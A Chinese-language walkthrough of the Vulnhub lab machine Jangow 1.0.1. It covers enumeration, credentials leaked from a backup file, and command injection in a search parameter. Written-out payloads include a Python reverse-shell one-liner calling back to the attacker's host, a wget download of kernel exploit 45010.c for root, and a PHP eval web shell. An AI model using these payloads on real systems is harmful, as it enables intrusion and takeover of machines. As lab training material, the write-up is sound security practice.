当前位置: 首页 > article >正文

Vulnhub靶场 Jangow: 1.0.1 练习

目录

  • 0x00 准备
  • 0x01 主机信息收集
  • 0x02 站点信息收集
  • 0x03 漏洞查找与利用
    • 1. 命令执行
    • 2. 反弹shell
    • 3. 提权
    • 4. 补充
      • 4.1 其他思路
      • 4.2 问题
  • 0x04 总结


0x00 准备


下载链接:https://download.vulnhub.com/jangow/jangow-01-1.0.1.ova

介绍:

Difficulty: easy

The secret to this box is enumeration! Inquiries jangow2021@gmail.com

This works better with VirtualBox rather than VMware ## Changelog 2021-11-04 - v1.0.1 2021-11-01 - v1.0.0



0x01 主机信息收集


kali本机的ip:192.168.119.128

探测目标主机IP:netdiscover -i eth0 -r 192.168.119.0/24
目标主机IP:192.168.119.134

探测目标主机开放端口:nmap -sV -p 1-65535 -A 192.168.119.134
在这里插入图片描述


开放了21端口,vsftp3.0.3版本。80端口,apache2.4.18版本。



0x02 站点信息收集


访问80端口,探测站点的目录结构:dirsearch -u 192.168.119.134
在这里插入图片描述


一个site目录,还有/.backup目录。

进入site目录是一个站点的首页:
在这里插入图片描述


再看一下/.backup页面:
在这里插入图片描述


看到了数据库相关的信息,并且是mysql数据库,这里保存一下获取到的信息:

$servername = "localhost";
$database = "jangow01";
$username = "jangow01";
$password = "abygurl69";


0x03 漏洞查找与利用


1. 命令执行


看站点上的信息,右上角Menu菜单这里有三个菜单,About,Project,Buscar。

点击About时,URL是:http://192.168.119.134/site/#about
点击Project时,URL是:http://192.168.119.134/site/#projects
点击Buscar时,URL是:http://192.168.119.134/site/busque.php?buscar=

有个等号,并且页面是空白页:
在这里插入图片描述


考虑传参。传了个1,还是空白页。换思路,传了个ifconfig,有查出网络配置的信息:
在这里插入图片描述


又换了个whoami:
在这里插入图片描述


2. 反弹shell


这里有命令执行了,尝试一下反弹shell。

先在kali中监听端口9898:nc -lvvp 9898


再在浏览器中访问:http://192.168.119.134/site/busque.php?buscar=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.119.128",9898));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

结果一直无法监听。



改成443端口就可以监听成功。

先在kali中监听端口443:nc -lvvp 443

再在浏览器中访问:http://192.168.119.134/site/busque.php?buscar=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.119.128",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

监听成功:
在这里插入图片描述



3. 提权


查看一下系统的相关信息。

查看内核版本:uname -a

查看发行版本:lsb_release -a
在这里插入图片描述


内核版本是ubuntu 4.4.3-31 ,发行版本是 ubuntu 16.04。

搜索一下相关的漏洞:searchsploit Ubuntu 4.4.0-31
在这里插入图片描述


这里我们要进行提权,所以选择45010.c这个试一下。

这个脚本的完整路径是/usr/share/exploitdb/exploits/linux/local/45010.c

编译这个脚本:gcc /usr/share/exploitdb/exploits/linux/local/45010.c -o abc


接下来就是将abc这个文件传到目标主机上。

在kali机器上用python创建一个简单的http服务器:python2 -m SimpleHTTPServer 443 (由于靶机的限制,这里只能用443端口)

在靶机上,先进入临时目录:cd /tmp

再执行:wget http://192.168.119.128:443/abc
在这里插入图片描述



这时候如果直接运行abc的话,会提示权限不足。所以先给这个文件加一个执行权限:chmod +x abc
在这里插入图片描述



结果提示GLIBC_2.34没有找到,这是因为编译是在kali下面完成的,是这个版本,但是目标主机没有这个版本。所以应该直接把编译前的文件传到目标靶机中,在靶机中编译。

在kali中,把45010.c移动到开http服务的目录下:cp /usr/share/exploitdb/exploits/linux/local/45010.c .

在靶机的tmp目录下执行:wget http://192.168.119.128:443/45010.c

编译这个文件:gcc 45010.c -o exp
在这里插入图片描述



运行exp文件:./exp
在这里插入图片描述


提权成功

4. 补充


4.1 其他思路


做完后,参考了前辈们的文章,在目标主机给buscar参数传值进行命令执行的时候,可以上传一句话:echo '<?php eval($_POST["pass"]);' > shell.php

再用蚁剑连接:http://192.168.119.134/site/shell.php

在这里进行传文件等操作。



另外,还可以在wordpress目录下查看配置文件 config.php的内容,这里面也有一对账号密码。这样就收集到了两对账号密码。在前面端口扫描的时候开放了ftp服务,可以尝试用这两对账号密码进行frp登录尝试:ftp 192.168.119.134

backup文件中的账号密码可以登录成功。



4.2 问题


在反弹shell的时候,只能监听443端口。这里应该是因为目标主机的防火墙或系统策略限制目标主机必须使用特定的出站端口,若目标主机强制出站端口为 443,则攻击者必须监听在 443。



0x04 总结


主机信息收集:

  1. netdiscover探测目标主机ip。
  2. nmap探测开放的端口和服务。

站点信息收集:

  1. 扫描站点目录。
  2. 发现账号密码敏感信息。
  3. 发现命令执行的点。

漏洞利用:

  1. 在命令执行处进行反弹shell。
  2. 获取系统的版本信息,进行内核提权。




http://www.kler.cn/a/408335.html

相关文章:

  • 编程之路,从0开始:文件操作(2)
  • 《操作系统 - 清华大学》5 -2:覆盖技术
  • leetcode day13 贪心 45+55
  • vue3【实战】响应式的登录界面
  • android bindService打开失败
  • Makefile基础应用
  • C语言超详细教程
  • 挂壁式空气净化器哪个品牌的质量好?排名top3优秀产品测评分析
  • 网络性能及IO性能测试工具
  • golang实现TCP服务器与客户端的断线自动重连功能
  • 优先算法 —— 双指针系列 - 复写零
  • 青训营刷题笔记17
  • [自动化]获取每次翻页后的页面 URL
  • Java核心特性解析:方法、Stream流、文件与IO详解
  • 每日OJ_牛客_合唱队形_DP_C++_Java
  • 数据库连接池(二)
  • Vue v-if 与 v-for 使用指南:优先级、注意事项及常见错误防范
  • Independent Component Analysis
  • 如何利用ros搭建虚拟场景通过仿真机器人完成一次简单的SLAM建图、导航规划(超简单)?——学习来源:机器人工匠阿杰
  • SpringBoot多文件上传
  • springboot3如何集成knife4j 4.x版本及如何进行API注解
  • Spring集成测试
  • 电子应用设计方案-21:智能取暖系统方案设计
  • C语言之函数的参数
  • C语言:深入理解指针
  • 青少年强网杯线上ctf-crypto-wp